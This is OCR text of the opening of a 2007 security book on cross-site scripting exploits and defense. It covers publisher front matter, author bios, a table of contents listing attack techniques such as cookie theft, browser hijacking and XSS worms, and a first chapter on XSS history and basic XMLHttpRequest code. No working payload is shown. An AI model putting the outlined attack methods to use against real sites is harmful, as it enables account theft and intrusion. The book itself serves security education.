|
|
|||||
![]() |
/ ^*G*lSs
|
||||
|
4 FREE BOOKLETS cREE
YOUR SOLUTIONS MEMBERSHIP / E-BOOKLETS
|
|||||
|
|
|||||
|
Attacks
|
|||||
|
|
|||||
|
|
CROSS SITE SCRIPTING EXPLOITS AND DEFENSE
|
|
|||
|
|
|||||
|
XSS Is the New Buffer Overflow, JavaScript Malware Is the New Shell Code
• Learn to Identify, Exploit, and Protect Against XSS Attacks
• See Real XSS Attacks That Steal E-mails, Own Web Surfers, and Trojanize Backend Reporting Systems
• Leverage XSS Vulnerabilities to Allow Remote Proxy Attacks Into External and Internal Networks
|
|||||
|
|
|||||
|
Jeremiah Grossman
Robert "RSnake" Hansen
Petko "pdp" D. Petkov
Anton Rager ^^fl
Seth Fogie Technical Editor and Coauthor ^^^g
|
|||||
|
|
|||||
|
|
||
|
|
||||
|
Visit us at
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
Syngress is committed to publishing high-quality books for IT Professionals and delivering those books in media and formats that fit the demands of our customers. We are also committed to extending the utility of the book you purchase via additional materials available from our Web site.
|
||||
|
|
||||
|
SOLUTIONS WEB SITE
To register your book, visit www.syngress.com/solutions. Once registered, you can access our solutions@syngress.com Web pages. There you may find an assortment of value-added features such as free e-books related to the topic of this book, URLs of related Web sites, FAQs from the book, corrections, and any updates from the author(s).
ULTIMATE CDs
Our Ultimate CD product line offers our readers budget-conscious compilations of some of our best-selling backlist titles in Adobe PDF form. These CDs are the perfect way to extend your reference library on key topics pertaining to your area of expertise, including Cisco Engineering, Microsoft Windows System Administration, CyberCrime Investigation, Open Source Security, and Firewall Configuration, to name a few.
DOWNLOADABLE E-BOOKS
For readers who can’t wait for hard copy, we offer most of our titles in downloadable Adobe PDF form. These e-books are often available weeks before hard copies, and are priced affordably.
SYNGRESS OUTLET
Our outlet store at syngress.com features overstocked, out-of-print, or slightly hurt books at significant savings.
SITE LICENSING
Syngress has a well-established program for site licensing our e-books onto servers in corporations, educational institutions, and large organizations. Contact us at sales@ syngress.com for more information.
CUSTOM PUBLISHING
Many organizations welcome the ability to combine parts of multiple Syngress books, as well as their own content, into a single volume for their own internal use. Contact us at sales@syngress.com for more information.
|
||||
|
|
||||
|
SYNGRESS
|
||||
|
|
||||
|
|
||
|
|
|||||
![]() |
|||||
|
|
|||||
|
Attacks
|
|||||
|
|
|||||
|
|
CROSS SITE SCRIPTING EXPLOITS AND DEFENSE
|
|
|||
|
|
|||||
|
Jeremiah Grossman Robert “RSnake” Hansen Petko “pdp” D. Petkov Anton Rager
Seth Fogie Technical Editor and Co-Author
|
A
|
||||
|
^
|
|||||
|
|
|||||
|
|
|||
|
Elsevier, Inc., the author(s), and any person or firm involved in the writing, editing, or production (collectively “Makers”) of this book (“the Work”) do not guarantee or warrant the results to be obtained from the Work.
There is no guarantee of any kind, expressed or implied, regarding the Work or its contents. The Work is sold AS IS and WITHOUT WARRANTY.You may have other legal rights, which vary from state to state.
In no event will Makers be liable to you for damages, including any loss of profits, lost savings, or other incidental or consequential damages arising out from the Work or its contents. Because some states do not allow the exclusion or limitation of liability for consequential or incidental damages, the above limitation may not apply to you.
You should always use reasonable care, including backup and other appropriate precautions, when working with computers, networks, data, and files.
Syngress Media®, Syngress®, “Career Advancement Through Skill Enhancement®,” “Ask the Author UPDATE®,” and “Hack Proofing®,” are registered trademarks of Elsevier, Inc. “Syngress: The Definition of a Serious Security Library”™, “Mission Critical™,” and “The Only Way to Stop a Hacker is to Think Like One™” are trademarks of Elsevier, Inc. Brands and product names mentioned in this book are trademarks or service marks of their respective companies.
KEY SERIAL NUMBER
001 HJIRTCV764
002 PO9873D5FG
003 829KM8NJH2
004 XVQ45LK89A
005 CVPLQ6WQ23
006 VBP965T5T5
007 HJJJ863WD3E
008 2987GVTWMK
009 629MP5SDJT
010 IMWQ295T6T
PUBLISHED BY Syngress Publishing, Inc. Elsevier, Inc. 30 Corporate Drive Burlington, MA 01803
Cross Site Scripting Attacks: XSS Exploits and Defense
Copyright © 2007 by Elsevier, Inc. All rights reserved. Printed in the United States of America. Except as permitted under the Copyright Act of 1976, no part of this publication may be reproduced or distributed in any form or by any means, or stored in a database or retrieval system, without the prior written permission of the publisher, with the exception that the program listings may be entered, stored, and executed in a computer system, but they may not be reproduced for publication.
Printed in the United States of America 1 2 3 4 5 6 7 8 9 0
ISBN-10:1-59749-154-3 ISBN-13: 978-1-59749-154-9
|
|||
|
|
|||
|
Publisher: Amorette Pedersen Acquisitions Editor: Andrew Williams Technical Editor: Seth Fogie
|
Page Layout and Art: Patricia Lupien Copy Editor: Judy Eby Cover Designer: Michael Kavish Indexer: Richard Carlson
|
||
|
|
|||
|
For information on rights, translations, and bulk sales, contact Matt Pedersen, Commercial Sales Director and Rights, at Syngress Publishing; email m.pedersen@elsevier.com.
|
|||
|
|
|||
|
|
||
![]() |
||
|
|
||
|
Contributing Authors
Jeremiah Grossman founded WhiteHat Security in 2001 and is currently the Chief Technology Officer. Prior to WhiteHat, Jeremiah was an information security officer at Yahoo! responsible for performing security reviews on the company’s hundreds of websites. As one of the world’s busiest web properties, with over 17,000 web servers for customer access and 600 websites, the highest level of security was required. Before Yahoo!, Jeremiah worked for Amgen, Inc.
A 6-year security industry veteran, Jeremiah’s research has been featured in USA Today, NBC, and ZDNet and touched all areas of web security. He is a world-renowned leader in web security and frequent speaker at the Blackhat Briefings, NASA, Air Force and Technology Conference, Washington Software Alliance, ISSA, ISACA and Defcon.
Jeremiah has developed the widely used assessment tool “WhiteHat Arsenal,” as well as the acclaimed Web Server Fingerprinter tool and technology. He is a founder of the Website Security Consortium (WASC) and the Open Website Security Project (OWASP), as well as a contributing member of the Center for Internet Security Apache Benchmark Group.
For my family who puts up with the late nights, my friends who dare to test my PoC code, and everyone else who is now afraid to click.
Robert “RSnake” Hansen (CISSP) is the Chief Executive Officer of SecTheory SecTheory is a web application and network security consulting firm. Robert has been working with web application security since the mid 90s, beginning his career in banner click fraud detection at ValueClick. Robert has worked for Cable & Wireless heading up managed security services, and eBay as a Sr. Global Product Manager of Trust and Safety, focusing on anti-phishing, anti-cross site scripting and anti-virus strategies. Robert also sits on the technical advisory board of ClickForensics and contributes to the security strategy of several startup companies. Before SecTheory, Robert’s career fluctuated from Sr. Security Architect, to Director of Product Management for a publicly traded Real Estate company, giving him a great
|
||
|
|
||
|
v
|
||
|
|
||
|
|
||
|
breath of knowledge of the entire security landscape. Robert now focuses on upcoming threats, detection circumvention and next generation security theory.
Robert is best known for founding the web application security lab at ha.ckers.org and is more popularly known as “RSnake.” Robert is a member of WASC, IACSP, ISSA, and contributed to the OWASP 2.0 guide.
Petko “pdp” D. Petkov is a senior IT security consultant based in London, United Kingdom. His day-to-day work involves identifying vulnerabilities, building attack strategies and creating attack tools and penetration testing infrastructures. Petko is known in the underground circles as pdp or architect but his name is well known in the IT security industry for his strong technical background and creative thinking. He has been working for some of the world’s top companies, providing consultancy on the latest security vulnerabilities and attack technologies.
His latest project, GNUCITIZEN (gnucitizen.org), is one of the leading web application security resources on-line where part of his work is disclosed for the benefit of the public. Petko defines himself as a cool hunter in the security circles.
He lives with his lovely girlfriend Ivana without whom his contribution to this book would not have been possible.
Anton Rager is an independent security researcher focused on vulnerability exploitation, VPN security and wireless security. He is best known for his WEPCrack tool, but has also authored other security tools including XSS-Proxy, WEPWedgie, and IKECrack. He has presented at Shmoocon, Defcon,Toorcon, and other conferences, and was a contributing technical editor to the book Maximum Wireless Security.
|
||
|
|
||
|
vi
|
||
|
|
||
|
|
||
![]() |
||
|
|
||
|
Technical Editor
and Contributing Author
Seth Fogie is the Vice President of Dallas-based Airscanner Corporation where he oversees the research & development of security products for mobile platforms. Seth has co-authored several books, such as Maximum Wireless Security, Aggressive Network Self Defense, Security Warrior, and even contributed to PSP Hacks. Seth also writes articles for various online resources, including Pearson Education’s InformIT.com where he is acting co-host for their security section. In addition, and as time permits, Seth provides training on wireless and web application security and speaks at IT and security related conferences and seminars, such as Blackhat, Defcon, and RSA.
|
||
|
|
||
|
vii
|
||
|
|
||
|
|
||
|
|
||
|
Contents
Chapter 1 Cross-site Scripting Fundamentals...........1
Web Application Security ..........................4
XML and AJAX Introduction........................6
Solutions Fast Track ..............................11
Frequently Asked Questions ........................12
Chapter 2 The XSS Discovery Toolkit................15
Introduction....................................16
Debugging DHTML With Firefox Extensions...........21
DOM Inspector ..............................21
Web Developer Firefox Extension .................26
Insert Edit HTML Picture ....................27
XSS Example in Web Developer Web Site.........28
Analyzing HTTP Traffic with Firefox Extensions.........35
LiveHTTPHeaders ............................35
ModifyHeaders...............................39
TamperData .................................42
GreaseMonkey..................................46
GreaseMonkey Internals ........................47
Creating and Installing User Scripts................50
Postlnterpreter.............................52
XSS Assistant ..............................54
Active Exploitation with GreaseMonkey ............55
Hacking with Bookmarklets ........................57
Using Technika..................................60
Solutions Fast Track ..............................64
Frequently Asked Questions ........................65
|
||
|
|
||
|
ix
|
||
|
|
||
|
|
||
|
x Contents
Chapter 3 XSS Theory.............................67
Introduction....................................68
Getting XSS’ecl .................................68
Non-persistent ...............................69
DOM-based.................................73
DOM-based XSS In Detail.........................75
Identifying DOM-based XSS Vulnerabilities..........76
Exploiting Non-persistent
DOM-based XSS Vulnerabilities ..................80
Exploiting Persistent DOM-based XSS Vulnerabilities . . .82 Preventing DOM-based XSS Vulnerabilities..........84
Redirection Services...........................90
Referring URLs..............................91
Flash, QuickTime, PDF, Oh My .....................97
Playing with Flash Fire .........................98
Hidden PDF Features .........................105
QuickTime Hacks for Fun and Profit..............116
Backdooring Image Files.......................121
HTTP Response Injection ........................123
Source vs. DHTML Reality .......................125
Bypassing XSS Length Limitations...................131
XSS Filter Evasion ..............................133
When Script Gets Blocked .....................139
Browser Peculiarities..........................150
CSS Filter Evasion............................152
XML Vectors ...............................154
Attacking Obscure Filters ......................155
Encoding Issues..............................156
Solutions Fast Track .............................159
Frequently Asked Questions .......................162
Chapter 4 XSS Attack Methods....................163
Introduction...................................164
History Stealing ................................164
|
||
|
|
||
|
|
||
|
Contents xi
JavaScript/CSS API “getComputedStyle”...........164
Code for Firefox/Mozilla. May
Work In Other Browsers.....................164
Stealing Search Engine Queries..................167
JavaScript Console Error Login Checker ...........167
Intranet Hacking................................173
Exploit Procedures ...........................174
Persistent Control............................174
Obtaining NAT’ed IP Addresses ...............176
Port Scanning...............................177
Blind Web Server Fingerprinting.................180
Attacking the Intranet.........................181
XSS Defacements...............................184
Solutions Fast Track .............................188
Frequently Asked Questions .......................189
References....................................190
Chapter 5 Advanced XSS Attack Vectors............191
Introduction...................................192
DNS Pinning..................................192
Anti-DNS Pinning ...........................194
Anti-Anti-DNS Pinning .......................196
Anti-anti-anti-DNS Pinning
AKA Circumventing Anti-anti-DNS Pinning........196
Additional Applications of Anti-DNS Pinning .......197
Expect Vulnerability ..........................207
Hacking JSON.................................209
Frequently Asked Questions .......................217
Chapter 6 XSS Exploited.........................219
Introduction...................................220
XSS vs. Firefox Password Manager...................220
SeXXS Offenders...............................223
Finding the Bug .............................229
|
||
|
|
||
|
|
||
|
xii Contents
Building the Exploit Code......................230
Owning the Cingular Xpress Mail User...............232
The Xpress Mail Personal Edition Solution .........232
Seven.com .................................234
The Ackid (AKA Custom Session ID) .............234
The Inbox .................................235
The Document Folder.........................236
E-mail Cross-linkage..........................237
CSFR Proof of Concepts ......................238
Cookie Grab .............................238
Xpressmail Snarfer .........................241
Owning the Documents.....................248
Alternate XSS: Outside the BoXXS..................248
Owning the Owner ..........................249
The SILICA and CANVAS...................249
Building the Scripted Share...................250
Owning the Owner........................251
Lessons Learned and Free Advertising ...........252
Airpwned with XSS ..........................252
XSS Injection: XSSing Protected Systems...........256
The Decompiled Flash Method................256
Application Memory Massaging —
XSS via an Executable ......................261
XSS Old School - Windows Mobile PIE 4.2...........262
Cross-frame Scripting Illustrated .................263
XSSing Firefox Extensions ........................267
GreaseMonkey Backdoors......................267
GreaseMonkey Bugs ..........................270
XSS the Backend: Snoopwned...................275
XSS Anonymous Script Storage - TinyURL Oday.....277
XSS Exploitation: Point-Click-Own with EZPhotoSales . .285
Solutions Fast Track .............................288
Frequently Asked Questions .......................291
Chapter 7 Exploit Frameworks....................293
Introduction...................................294
|
||
|
|
||
|
|
||
|
Contents xiii
|
||
|
|
||
|
Enumerating the Client........................298
Attacking Networks ..........................307
Hijacking the Browser.........................315
Controlling Zombies..........................319
Installing and Configuring BeEF .................323
Controlling Zombies..........................323
BeEF Modules ..............................325
Standard Browser Exploits......................327
Port Scanning with BeEF ......................327
Inter-protocol Exploitation
and Communication with BeEF .................328
XSS Attacks, Cheat Sheets, and Checklists ..........331
Encoder, Decoders, and Miscellaneous Tools.........334
HTTP Requests/Responses and Automatic Testing . . . .335
Overview of XSS-Proxy..........................338
XSS-Proxy Hijacking Explained .................341
Browser Hijacking Details....................343
Attacker Control Interface ...................346
Using XSS-Proxy: Examples ....................347
Setting Up XSS-Proxy ......................347
Injection and Initialization Vectors For XSS-Proxy .350
Handoff and CSRF With Hijacks ..............352
Sage and File:// Hijack With Malicious RSS Feed .354
Solutions Fast Track .............................371
Frequently Asked Questions .......................372
Chapter 8 XSS Worms...........................375
Introduction...................................376
Exponential XSS................................376
XSS Warhol Worm..............................379
Linear XSS Worm...............................380
Samy Is My Hero...............................386
Solutions Fast Track .............................391
Frequently Asked Questions .......................393
|
||
|
|
||
|
|
||
|
xiv Contents
|
||
|
|
||
|
Chapter 9 Preventing XSS Attacks.................395
Introduction...................................396
Input Encoding.................................400
Output Encoding...............................402
Web Browser’s Security...........................402
Browser Selection............................403
Add More Security To Your Web Browser ..........403
Disabling Features............................404
Use a Virtual Machine.........................404
Don’t Click On Links in E-mail, Almost Ever........404
Defend your Web Mail ........................404
Beware of Overly Long URL’s...................404
URL Shorteners.............................405
Secrets Questions and Lost Answers...............405
Solutions Fast Track .............................406
Frequently Asked Questions .......................407
Appendix A The Owned List......................409
Index ■ ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■a 439
|
||
|
|
||
|
|
||||
|
Chapter 1
|
||||
|
|
||||
|
|
Cross-site Scripting Fundamentals
|
|
||
|
|
||||
|
Solutions in this chapter:
■ History of Cross-site Scripting
■ Web Application Security
■ XML and AJAX Introduction
|
||||
|
|
||||
|
0 Summary
0 Solutions Fast Track
0 Frequently Asked Questions
|
||||
|
|
||||
|
1
|
||||
|
|
||||
|
|
||||
|
2 Chapter 1 • Cross-site Scripting Fundamentals
|
||||
|
|
||||
|
Introduction
Cross-site scripting vulnerabilities date back to 1996 during the early days of the World Wide Web (Web). A time when e-commerce began to take off, the bubble days of Netscape,Yahoo, and the obnoxious blink tag. When thousands of Web pages were under construction, littered with the little yellow street signs, and the “cool” Web sites used Hypertext Markup Language (HTML) Frames. The JavaScript programming language hit the scene, an unknown harbinger of cross-site scripting, which changed the Web application security landscape forever. JavaScript enabled Web developers to create interactive Web page effects including image rollovers, floating menus, and the despised pop-up window. Unimpressive by today’s Asynchronous JavaScript and XML (AJAX) application standards, but hackers soon discovered a new unexplored world of possibility.
Hackers found that when unsuspecting users visited their Web pages they could forcibly load any Web site (bank, auction, store, Web mail, and so on) into an HTML Frame within the same browser window. Then using JavaScript, they could cross the boundary between the two Web sites, and read from one frame into the other. They were able to pilfer user-names and passwords typed into HTML Forms, steal cookies, or compromise any confidential information on the screen. The media reported the problem as a Web browser vulnerability. Netscape Communications, the dominant browser vendor, fought back by implementing the ”same-origin policy,” a policy restricting JavaScript on one Web site from accessing data from another. Browser hackers took this as a challenge and began uncovering many clever ways to circumvent the restriction.
In December 1999, David Ross was working on security response for Internet Explorer at Microsoft. He was inspired by the work of Georgi Guninski who was at the time finding flaws in Internet Explorer’s security model. David demonstrated that Web content could expose “Script Injection” effectively bypassing the same security guarantees bypassed by Georgi’s Internet Explorer code flaws, but where the fault seemed to exist on the server side instead of the client side Internet Explorer code. David described this in a Microsoft-internal paper entitled “Script Injection.”The paper described the issue, how it’s exploited, how the attack can be persisted using cookies, how a cross-site scripting (XSS) virus might work, and Input/Output (I/O) filtering solutions.
Eventually this concept was shared with CERT. The goal of this was to inform the public so that the issue would be brought to light in a responsible way and sites would get fixed, not just at Microsoft, but also across the industry. In a discussion around mid-January the cross organization team chose “Cross Site Scripting” from a rather humorous list of proposals:
■ Unauthorized Site Scripting
■ Unofficial Site Scripting
■ Uniform Resource Locator (URL) Parameter Script Insertion
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||
|
Cross-site Scripting Fundamentals • Chapter 1 3
|
||
|
|
||
|
■ Cross-site Scripting
■ Synthesized Scripting
■ Fraudulent Scripting
On January 25, 2000, Microsoft met with the Computer Emergency Response Team (CERT), various vendors (e.g., Apache, and so forth) and other interested parties at a hotel in Bellevue, WA to discuss the concept.
David re-wrote the internal paper with the help of Ivan Brugiolo,John Coates, and Michael Roe, so that it was suitable for public release. In coordination with CERT, Microsoft released this paper and other materials on February 2, 2000. Sometime during the past few years the paper was removed from Microsoft.com; however, nothing ever dies on the Internet. It can now be found at http://ha.ckers.org/cross-site-scripting.html
During the same time, hackers of another sort made a playground of HTML chat rooms, message boards, guest books, and Web mail providers; any place where they could submit text laced with HTML/JavaScript into a Web site for infecting Web users. This is where the attack name “HTML Injection” comes from. The hackers created a rudimentary form of JavaScript malicious software (malware) that they submitted into HTML forms to change screen names, spoof derogatory messages, steal cookies, adjust the Web page’s colors, proclaim virus launch warnings, and other vaguely malicious digital mischief. Shortly thereafter another variant of the same attack surfaced. With some social engineering, it was found that by tricking a user to click on a specially crafted malicious link would yield the same results as HTML Injection. Web users would have no means of self-defense other than to switch off JavaScript.
Over the years what was originally considered to be cross-site scripting, became simply known as a Web browser vulnerability with no special name. What was HTML Injection and malicious linking are what’s now referred to as variants of cross-site scripting, or “persistent” and “non-persistent” cross-site scripting, respectively. Unfortunately this is a big reason why so many people are confused by the muddled terminology. Making matters worse, the acronym “CSS” was regularly confused with another newly born browser technology already claiming the three-letter convention, Cascading Style Sheets. Finally in the early 2000’s, a brilliant person suggested changing the cross-site scripting acronym to “XSS” to avoid confusion. And just like that, it stuck. XSS had its own identity. Dozens of freshly minted white papers and a sea of vulnerability advisories flooded the space describing its potentially devastating impact. Few would listen.
Prior to 2005, the vast majority of security experts and developers paid little attention to XSS.The focus transfixed on buffer overflows, botnets, viruses, worms, spyware, and others. Meanwhile a million new Web servers appear globally each month turning perimeter firewalls into swiss cheese and rendering Secure Sockets Layer (SSL) as quaint. Most believed JavaScript, the enabler of XSS, to be a toy programming language. “It can’t root an operating system or exploit a database, so why should I care? How dangerous could clicking on a link
|
||
|
|
||
|
|
||||
|
4 Chapter 1 • Cross-site Scripting Fundamentals
|
||||
|
|
||||
|
or visiting a Web page really be?” In October of 2005, we got the answer. Literally overnight the Samy Worm, the first major XSS worm, managed to shut down the popular social networking Web site MySpace.The payload being relatively benign, the Samy Worm was designed to spread from a single MySpace user profile page to another, finally infecting more than a million users in only 24 hours. Suddenly the security world was wide-awake and research into JavaScript malware exploded.
A few short months later in early 2006, JavaScript port scanners, intranet hacks, keystroke recorders, trojan horses, and browser history stealers arrived to make a lasting impression. Hundreds of XSS vulnerabilities were being disclosed in major Web sites and criminals began combining in phishing scams for an effective fraud cocktail. Unsurprising since according to WhiteHat Security more than 70 percent of Web sites are currently vulnerable. Mitre’s Common Vulnerabilities and Exposures (CVE) project, a dictionary of publicly known vulnerabilities in commercial and open source software products, stated XSS had overtaken buffer overflows to become the number 1 most discovered vulnerability. XSS arguably stands as the most potentially devastating vulnerability facing information security and business online. Today, when audiences are asked if they’ve heard of XSS, the hands of nearly everyone will rise.
|
||||
|
|
||||
|
Web Application Security
|
||||
|
|
||||
|
The Web is the playground of 800 million netizens, home to 100 million Web sites, and transporter of billions of dollars everyday. International economies have become dependent on the Web as a global phenomenon. It’s not been long since Web mail, message boards, chat rooms, auctions, shopping, news, banking, and other Web-based software have become part of digital life. Today, users hand over their names, addresses, social security numbers, credit card information, phone numbers, mother’s maiden name, annual salary, date of birth, and sometimes even their favorite color or name of their kindergarten teacher to receive financial statements, tax records, or day trade stock. And did I mention that roughly 8 out of 10 Web sites have serious security issues putting this data at risk? Even the most secure systems are plagued by new security threats only recently identified as Web Application Security, the term used to describe the methods of securing web-based software.
The organizations that collect personal and private information are responsible for protecting it from prying eyes. Nothing less than corporate reputation and personal identity is at stake. As vital as Web application security is and has been, we need to think bigger. We’re beyond the relative annoyances of identity theft, script kiddy defacements, and full-disclosure antics. New Web sites are launched that control statewide power grids, operate hydroelectric dams, fill prescriptions, administer payroll for the majority of corporate America, run corporate networks, and manage other truly critical functions. Think of what a malicious compromise of one of these systems could mean. It’s hard to imagine an area of information
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||||||||||
|
Cross-site Scripting Fundamentals • Chapter 1 5
|
||||||||||||
|
|
||||||||||||
|
security that’s more important. Web applications have become the easiest, most direct, and arguably the most exploited route for system compromise.
Until recently everyone thought firewalls, SSL, intrusion detection systems, network scanners, and passwords were the answer to network security. Security professionals borrowed from basic military strategy where you set up a perimeter and defended it with everything you had. The idea was to allow the good guys in and keep the bad guys out. For the most part, the strategy was effective, that is until the Web and e-commerce forever changed the landscape. E-commerce requires firewalls to allow in Web (port 80 Hypertext Transfer Protocol [HTTP] and 443 Hypertext Transfer Protocol Secure sockets [HTTPS]) traffic. Essentially meaning you have to let in the whole world and make sure they play nice. Seemingly overnight the Internet moved from predominantly walled networks to a global e-commerce bazaar. The perimeter became porous and security administrators found themselves without any way to protect against insecure Web applications.
Web developers are now responsible for security as well as creating applications that fuel Web business. Fundamental software design concepts have had to change. Prior to this transformation, the average piece of software was utilized by a relatively small number of users. Developers now create software that runs on Internet-accessible Web servers to provide services for anyone, anywhere. The scope and magnitude of their software delivery has increased exponentially, and in so doing, the security issues have also compounded. Now hundreds of millions of users all over the globe have direct access to corporate servers, any number of which could be malicious adversaries. New terms such as cross-site scripting, Structured Query Language (SQL) injection, and a dozen of other new purely Web-based attacks have to be understood and dealt with.
|
||||||||||||
|
|
||||||||||||
|
Figure 1.1 Vulnerability Stack
|
||||||||||||
|
|
||||||||||||
|
|
iness Logic Flaws
|
|
||||||||||
|
|
Custom Web Appircati
Third-Part
|
|
||||||||||
|
|
||||||||||||
|
|
||||||||||||
|
|
ctie / Microsoft US
|
|
||||||||||
|
|
Web Server
|
|
||||||||||
![]() |
||||||||||||
|
|
||||||||||||
|
|
|
|||||||||||
|
|
||||||||||||
|
|
||||
|
6 Chapter 1 • Cross-site Scripting Fundamentals
|
||||
|
|
||||
|
Web application security is a large topic encompassing many disciplines, technologies, and design concepts. Normally, the areas we’re interested in are the software layers from the Web server on up the vulnerability stack as illustrated in Figure 1.1. This includes application servers such as JBoss, IBM WebSphere, BEA WebLogic, and a thousand others.Then we progress in the commercial and open source Web applications like PHP Nuke, Microsoft Outlook Web Access, and SAP. And after all that, there are the internal custom Web applications that organizations develop for themselves. This is the lay of the land when it comes to Web application security.
One of the biggest threats that Web application developers have to understand and know how to mitigate is XSS attacks. While XSS is a relatively small part of the Web application security field, it possible represents the most dangerous, with respect to the typical Internet user. One simple bug on a Web application can result in a compromised browser through which an attacker can steal data, take over a user’s browsing experience, and more.
Ironically, many people do not understand the dangers of XSS vulnerabilities and how they can be and are used regularly to attack victims. This book’s main goal is to educate readers through a series of discussions, examples, and illustrations as to the real threat and significant impact that one XSS can have.
XML and AJAX Introduction
We are assuming that the average reader of this book is familiar with the fundamentals of JavaScript and HTML. Both of these technologies are based on standards and protocols that have been around for many years, and there is an unlimited amount of information about how they work and what you can do with them on the Internet. However, given the relatively new introduction of AJAX and eXtensible Markup Language (XML) into the Web world, we felt it was a good idea to provide a basic overview of these two technologies.
AJAX is a term that is often considered as being strongly related to XML, as the XML acronym is used as part of the name. That’s not always the case. AJAX is a synonym that describes new approaches that have been creeping into Web development practices for some time. At its basics, AJAX is a set of techniques for creating interactive Web applications that improve the user experience, provide greater usability, and increase their speed.
The roots of AJAX were around long before the term was picked up by mainstream Web developers in 2005.The core technologies that are widely used today in regards to AJAX were initiated by Microsoft with the development of various remote-scripting techniques. The set of technologies that are defined by AJAX are a much better alternative than the traditional remote components such as the IFRAME and LAYER elements, defined in Dynamic Hyper Text Markup Language (DHTML) programming practices.
The most basic and essential component of AJAX is the XMLHttpRequest JavaScript object.This object provides the mechanism for pulling remote content from a server without the need to refresh the page the browser has currently loaded.This object comes in many
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||
|
Cross-site Scripting Fundamentals • Chapter 1 7
|
||
|
|
||
|
different flavors, depending on the browser that is in use.The XMLHttpRequest object is designed to be simple and intuitive. The following example demonstrates how requests are made and used:
// instantiate new XMLHttpRequest
var request = new XMLHttpRequest;
// handle request result
request.onreadystatechange = function () { if (request.readyState ==4) {
//do something with the content
alert(request.responseText); } };
// open a request to /service.php
request.open('GET', '/service.php', false);
// send the request
request.send(null);
For various reasons, the XMLHttpRequest object is not implemented exactly the same way across all browsers.This is due to the fact that AJAX is a new technology, and although standards are quickly picking up, there are still situations where we need to resolve various browser incompatibilities problems.These problems are usually resolved with the help of AJAX libraries but we, as security researchers, often need to use the pure basics.
As we established previously in this section, the XMLHttpRequest object differs depending on the browser version. Microsoft Internet Explorer for example requires the use of ActiveXObject(Msxml2.XMLHTTP’) or even ActiveXObject(Microsoft.XMLHTTP’) to spawn similar objects to the standard XMLHttpRequest object. Other browsers may have different ways to do the exact same thing. In order to satisfy all browser differences, we like to use functions similar to the one defined here:
function getXHR () {
var xhr = null;
if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest(); } else if (window.createRequest) {
xhr = window.createRequest(); } else if (window.ActiveXObject) {
try {
xhr = new ActiveXObject('Msxml2.XMLHTTP');
} catch (e) {
|
||
|
|
||
|
|
|||||
|
8
|
Chapter 1 • Cross-site Scripting Fundamentals
try {
|
||||
|
|
|||||
|
xhr = new ActiveXObject('Microsoft.XMLHTTP'); } catch (e) {}
|
|||||
|
|
|||||
|
}
|
|||||
|
|
|||||
|
return xhr;
|
|||||
|
|
|||||
|
};
|
|||||
|
|
|||||
|
// make new XMLHttpRequest object var xhr = getXHRO ;
The XMLHttpRequest object has several methods and properties.Table 1.1 summarizes all of them.
Table 1.1 XMLHttpRequest Methods and Properties
|
|||||
|
|
|||||
|
Method/Property
|
Description
|
||||
|
|
|||||
|
abort()
getAIIResponseHeaders()
getResponseHeader(name)
setRequestHeader(name, value)
open(method, URL) open(method, URL, asynchronous) open(method, URL, asynchronous, username) open(method, URL, asynchronous, username, password)
onreadystatechange
|
Abort the request.
Retrieve the response headers as a string.
Retrieve the value of the header specified by name.
Set the value of the header specified by name.
Open the request object by setting the method that will be used and the URL that will be retrieved.
Optionally, you can specify whether the request is synchronous or asynchronous, and what credentials need to be provided if the requested URL is protected.
This property can hold a reference to the event handler that will be called when the request goes through the various states.
The readyState parameter defines the state of the request. The possible values are:
0 - uninitialized
1 - open
2 - sent
3 - receiving
4 - loaded
|
||||
|
readyState
|
|||||
|
|
|||||
|
Continued
|
|||||
|
|
|||||
|
|
|
||||
|
|
|||||
|
|
|||||
|
Cross-site Scripting Fundamentals • Chapter 1
Table 1.1 continued XMLHttpRequest Methods and Properties
Method/Property Description
status The status property returns the response status
code, which could be 200 if the request is successful or 302, when a redirection is required. Other status codes are also possible.
statusText This property returns the description that is
associated with the status code.
responseText The responseText property returns the body of
the respond.
responseXML The responseXML is similar to responseText but
if the server response is served as XML, the browser will convert it into a nicely accessible memory structure which is also know as Document Object Model (DOM)
Notice the difference between the responseText and responseXML properties. Both of them return the response body, but they differentiate by function quite a bit.
In particular, responseText is used when we retrieve textual documents, HTML pages, binary, and everything else that is not XML. When we need to deal with XML, we use the responseXML property, which parses the response text into a DOM object.
We have already shown how the responseText works, so let’s look at the use of responseXML. Before providing another example, we must explain the purpose of XML.
XML was designed to give semantics rather then structure as is the case with HTML. XML is a mini language on its own, which does not possess any boundaries. Other standards related to XML are XPath, Extensible Stylesheet Language Transformation (XSLT), XML Schema Definition (XSD), Xlink, XForms, Simple Object Access Protocol (SOAP), XMLRPC, and so on. We are not going to cover all of them, because the book will get quickly out of scope, but you can read about them at www.w3c.org.
Both XML and HTML, although different, are composed from the same building blocks that are known as elements or tags. XML and HTML elements are highly structured. They can be represented with a tree structure, which is often referred to as the DOM. In reality, DOM is a set of specifications defined by the World Wide Web Consortium, which define how XML structures are created and what method and properties they need to have. As we established earlier, HTML can also be parsed into a DOM tree.
One of the most common DOM functions is the getElementsByTagName, which returns an array of elements. Another popular function is getElementByld, which return a single element based on its identifier. For example, with the help of JavaScript we can easily extract all <p> elements and replace them with the message “Hello World!.” For example:
|
9
|
||||
|
|
|||||
|
|
|
||||
|
|
|||||
|
|
||||
|
10 Chapter 1 • Cross-site Scripting Fundamentals
|
||||
|
|
||||
|
// get a list of all <p> element
var p = document.getElementsByTagName('p');
// iterate over the list
for (var i = 0; i < p.length; i++) { // set the text of each <p> to 'Hello World!';
p[i].innerHTML = 'Hello World!'; }
In a similar way, we can interact with the responseXML property from the XMLHttpRequest object that was described earlier. For example:
function getXHR () {
var xhr = null;
if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest(); } else if (window.createRequest) {
xhr = window.createRequest(); } else if (window.ActiveXObject) { try {
xhr = new ActiveXObject('Msxml2.XMLHTTP'); } catch (e) { try {
xhr = new ActiveXObject('Microsoft.XMLHTTP'); } catch (e) {} } }
return xhr; };
// make new XMLHttpRequest object
var request = getXHR();
// handle request result
request.onreadystatechange = function () { if (request.readyState ==4) {
//do something with the content but in XML
alert(request.responseXML.getElementById('message')); } };
// open a request to /service.xml.php
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||
|
